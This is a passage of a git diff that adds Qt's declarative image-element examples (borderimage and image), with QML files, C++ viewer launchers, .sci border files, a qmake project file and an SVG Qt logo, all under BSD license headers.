+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtGui/QApplication>
+#include "qmlapplicationviewer.h"
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationLockLandscape);
+ viewer.setMainQmlFile(QLatin1String("qml/borderimage/shadows.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/imageelements/borderimage/qml/borderimage/borderimage.qml b/examples/declarative/imageelements/borderimage/qml/borderimage/borderimage.qml
new file mode 100644
index 00000000..df6af7cf
--- /dev/null
+++ b/examples/declarative/imageelements/borderimage/qml/borderimage/borderimage.qml
@@ -0,0 +1,97 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import "content"
+
+Rectangle {
+ id: page
+ width: 1030; height: 540
+
+ Grid {
+ anchors.centerIn: parent; spacing: 20
+
+ MyBorderImage {
+ minWidth: 120; maxWidth: 240; minHeight: 120; maxHeight: 240
+ source: "content/colors.png"; margin: 30
+ }
+
+ MyBorderImage {
+ minWidth: 120; maxWidth: 240; minHeight: 120; maxHeight: 240
+ source: "content/colors.png"; margin: 30
+ horizontalMode: BorderImage.Repeat; verticalMode: BorderImage.Repeat
+ }
+
+ MyBorderImage {
+ minWidth: 120; maxWidth: 240; minHeight: 120; maxHeight: 240
+ source: "content/colors.png"; margin: 30
+ horizontalMode: BorderImage.Stretch; verticalMode: BorderImage.Repeat
+ }
+
+ MyBorderImage {
+ minWidth: 120; maxWidth: 240; minHeight: 120; maxHeight: 240
+ source: "content/colors.png"; margin: 30
+ horizontalMode: BorderImage.Round; verticalMode: BorderImage.Round
+ }
+
+ MyBorderImage {
+ minWidth: 60; maxWidth: 200; minHeight: 40; maxHeight: 200
+ source: "content/bw.png"; margin: 10
+ }
+
+ MyBorderImage {
+ minWidth: 60; maxWidth: 200; minHeight: 40; maxHeight: 200
+ source: "content/bw.png"; margin: 10
+ horizontalMode: BorderImage.Repeat; verticalMode: BorderImage.Repeat
+ }
+
+ MyBorderImage {
+ minWidth: 60; maxWidth: 200; minHeight: 40; maxHeight: 200
+ source: "content/bw.png"; margin: 10
+ horizontalMode: BorderImage.Stretch; verticalMode: BorderImage.Repeat
+ }
+
+ MyBorderImage {
+ minWidth: 60; maxWidth: 200; minHeight: 40; maxHeight: 200
+ source: "content/bw.png"; margin: 10
+ horizontalMode: BorderImage.Round; verticalMode: BorderImage.Round
+ }
+ }
+}
diff --git a/examples/declarative/imageelements/borderimage/qml/borderimage/content/MyBorderImage.qml b/examples/declarative/imageelements/borderimage/qml/borderimage/content/MyBorderImage.qml
new file mode 100644
index 00000000..1454c4e6
--- /dev/null
+++ b/examples/declarative/imageelements/borderimage/qml/borderimage/content/MyBorderImage.qml
@@ -0,0 +1,90 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+ id: container
+
+ property alias horizontalMode: image.horizontalTileMode
+ property alias verticalMode: image.verticalTileMode
+ property alias source: image.source
+
+ property int minWidth
+ property int minHeight
+ property int maxWidth
+ property int maxHeight
+ property int margin
+
+ width: 240; height: 240
+
+ BorderImage {
+ id: image; anchors.centerIn: parent
+
+ SequentialAnimation on width {
+ loops: Animation.Infinite
+ NumberAnimation {
+ from: container.minWidth; to: container.maxWidth
+ duration: 2000; easing.type: Easing.InOutQuad
+ }
+ NumberAnimation {
+ from: container.maxWidth; to: container.minWidth
+ duration: 2000; easing.type: Easing.InOutQuad
+ }
+ }
+
+ SequentialAnimation on height {
+ loops: Animation.Infinite
+ NumberAnimation {
+ from: container.minHeight; to: container.maxHeight
+ duration: 2000; easing.type: Easing.InOutQuad
+ }
+ NumberAnimation {
+ from: container.maxHeight; to: container.minHeight
+ duration: 2000; easing.type: Easing.InOutQuad
+ }
+ }
+
+ border.top: container.margin
+ border.left: container.margin
+ border.bottom: container.margin
+ border.right: container.margin
+ }
+}
diff --git a/examples/declarative/imageelements/borderimage/qml/borderimage/content/ShadowRectangle.qml b/examples/declarative/imageelements/borderimage/qml/borderimage/content/ShadowRectangle.qml
new file mode 100644
index 00000000..438f9769
--- /dev/null
+++ b/examples/declarative/imageelements/borderimage/qml/borderimage/content/ShadowRectangle.qml
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+ property alias color : rectangle.color
+
+ BorderImage {
+ anchors.fill: rectangle
+ anchors { leftMargin: -6; topMargin: -6; rightMargin: -8; bottomMargin: -8 }
+ border { left: 10; top: 10; right: 10; bottom: 10 }
+ source: "shadow.png"; smooth: true
+ }
+
+ Rectangle { id: rectangle; anchors.fill: parent }
+}
diff --git a/examples/declarative/imageelements/borderimage/qml/borderimage/content/bw.png b/examples/declarative/imageelements/borderimage/qml/borderimage/content/bw.png
new file mode 100644
index 00000000..486eaae9
--- /dev/null
+++ b/examples/declarative/imageelements/borderimage/qml/borderimage/content/bw.png
Binary files differ
diff --git a/examples/declarative/imageelements/borderimage/qml/borderimage/content/colors-round.sci b/examples/declarative/imageelements/borderimage/qml/borderimage/content/colors-round.sci
new file mode 100644
index 00000000..506f6f5f
--- /dev/null
+++ b/examples/declarative/imageelements/borderimage/qml/borderimage/content/colors-round.sci
@@ -0,0 +1,7 @@
+border.left:30
+border.top:30
+border.right:30
+border.bottom:30
+horizontalTileRule:Round
+verticalTileRule:Round
+source:colors.png
diff --git a/examples/declarative/imageelements/borderimage/qml/borderimage/content/colors-stretch.sci b/examples/declarative/imageelements/borderimage/qml/borderimage/content/colors-stretch.sci
new file mode 100644
index 00000000..e4989a72
--- /dev/null
+++ b/examples/declarative/imageelements/borderimage/qml/borderimage/content/colors-stretch.sci
@@ -0,0 +1,5 @@
+border.left:30
+border.top:30
+border.right:30
+border.bottom:30
+source:colors.png
diff --git a/examples/declarative/imageelements/borderimage/qml/borderimage/content/colors.png b/examples/declarative/imageelements/borderimage/qml/borderimage/content/colors.png
new file mode 100644
index 00000000..dfb62f3d
--- /dev/null
+++ b/examples/declarative/imageelements/borderimage/qml/borderimage/content/colors.png
Binary files differ
diff --git a/examples/declarative/imageelements/borderimage/qml/borderimage/content/shadow.png b/examples/declarative/imageelements/borderimage/qml/borderimage/content/shadow.png
new file mode 100644
index 00000000..431af854
--- /dev/null
+++ b/examples/declarative/imageelements/borderimage/qml/borderimage/content/shadow.png
Binary files differ
diff --git a/examples/declarative/imageelements/borderimage/qml/borderimage/shadows.qml b/examples/declarative/imageelements/borderimage/qml/borderimage/shadows.qml
new file mode 100644
index 00000000..64232d54
--- /dev/null
+++ b/examples/declarative/imageelements/borderimage/qml/borderimage/shadows.qml
@@ -0,0 +1,64 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import "content"
+
+Rectangle {
+ id: window
+
+ width: 480; height: 320
+ color: "gray"
+
+ ShadowRectangle {
+ anchors.centerIn: parent; width: 250; height: 250
+ color: "lightsteelblue"
+ }
+
+ ShadowRectangle {
+ anchors.centerIn: parent; width: 200; height: 200
+ color: "steelblue"
+ }
+
+ ShadowRectangle {
+ anchors.centerIn: parent; width: 150; height: 150
+ color: "thistle"
+ }
+}
diff --git a/examples/declarative/imageelements/image/image.png b/examples/declarative/imageelements/image/image.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/imageelements/image/image.png
Binary files differ
diff --git a/examples/declarative/imageelements/image/image.pro b/examples/declarative/imageelements/image/image.pro
new file mode 100644
index 00000000..bd53a43e
--- /dev/null
+++ b/examples/declarative/imageelements/image/image.pro
@@ -0,0 +1,41 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/image
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+# Avoid auto screen rotation
+DEFINES += ORIENTATIONLOCK
+
+# Needs to be defined for Symbian
+#DEFINES += NETWORKACCESS
+
+symbian:TARGET.UID3 = 0xE5D64785
+
+# Smart Installer package's UID
+# This UID is from the protected range
+# and therefore the package will fail to install if self-signed
+# By default qmake uses the unprotected range value if unprotected UID is defined for the application
+# and 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Define QMLJSDEBUGGER to allow debugging of QML in debug builds
+# (This might significantly increase build time)
+# DEFINES += QMLJSDEBUGGER
+
+# If your application uses the Qt Mobility libraries, uncomment
+# the following lines and add the respective components to the
+# MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/imageelements/image
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/imageelements/image/image.qmlproject b/examples/declarative/imageelements/image/image.qmlproject
new file mode 100644
index 00000000..e6058895
--- /dev/null
+++ b/examples/declarative/imageelements/image/image.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/image"
+ }
+ JavaScriptFiles {
+ directory: "qml/image"
+ }
+ ImageFiles {
+ directory: "qml/image"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/imageelements/image/image.svg b/examples/declarative/imageelements/image/image.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/imageelements/image/image.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/imageelements/image/main.cpp b/examples/declarative/imageelements/image/main.cpp
new file mode 100644
index 00000000..114662b2
--- /dev/null
+++ b/examples/declarative/imageelements/image/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtCore module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtGui/QApplication>
+#include "qmlapplicationviewer.h"
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationLockLandscape);
+ viewer.setMainQmlFile(QLatin1String("qml/image/image.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/imageelements/image/qml/image/ImageCell.qml b/examples/declarative/imageelements/image/qml/image/ImageCell.qml
new file mode 100644
index 00000000..9fcdf2e6
--- /dev/null
+++ b/examples/declarative/imageelements/image/qml/image/ImageCell.qml
@@ -0,0 +1,60 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
